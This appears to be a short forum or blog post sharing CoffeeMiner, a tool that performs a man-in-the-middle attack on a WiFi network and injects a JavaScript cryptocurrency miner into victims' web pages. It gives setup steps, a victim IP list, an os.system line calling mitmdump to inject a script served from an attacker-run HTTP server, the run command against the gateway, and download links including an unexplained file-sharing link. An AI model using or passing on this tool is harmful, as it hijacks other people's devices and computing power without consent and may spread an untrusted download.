Hacking WiFi to inject cryptocurrency miner to HTML requests

Hacking WiFi to inject cryptocurrency miner to HTML requests

 

Hacking WiFi to inject

i decided to share this little awesome tool that uses mitm attack to inject a JS miner in wifi network. Hope you will like, Enjoy!

Concept:

  • Performs a MITM attack to all selected victims
  • Injects a js script in all the HTML pages requested by the victims
  • The js script injected contains a cryptocurrency miner
  • All the devices victims connected to the Lan network, will be mining for the CoffeeMiner

Use:

  • install.sh

Code:
bash install.sh

  • edit victims.txt with one IP per line
  • edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:

Code:
os.system(“~/.local/bin/mitmdump -s ‘injector.py http://10.0.2.20:8000/script.js’ -T”)

  • execute coffeeMiner.py

Code:
python3 coffeeMiner.py ipgateway
Scenario:

Download:
https://github.com/arnaucode/coffeeMiner
https://www.sendspace.com/file/iiphkc

https://www.virustotal.com/#/file/b890718e6bcb93f8de1b477a70853ddef211d06c2b31b1951ee5ca03da301ad0

CLICK HERE FOR MORE

Leave a Reply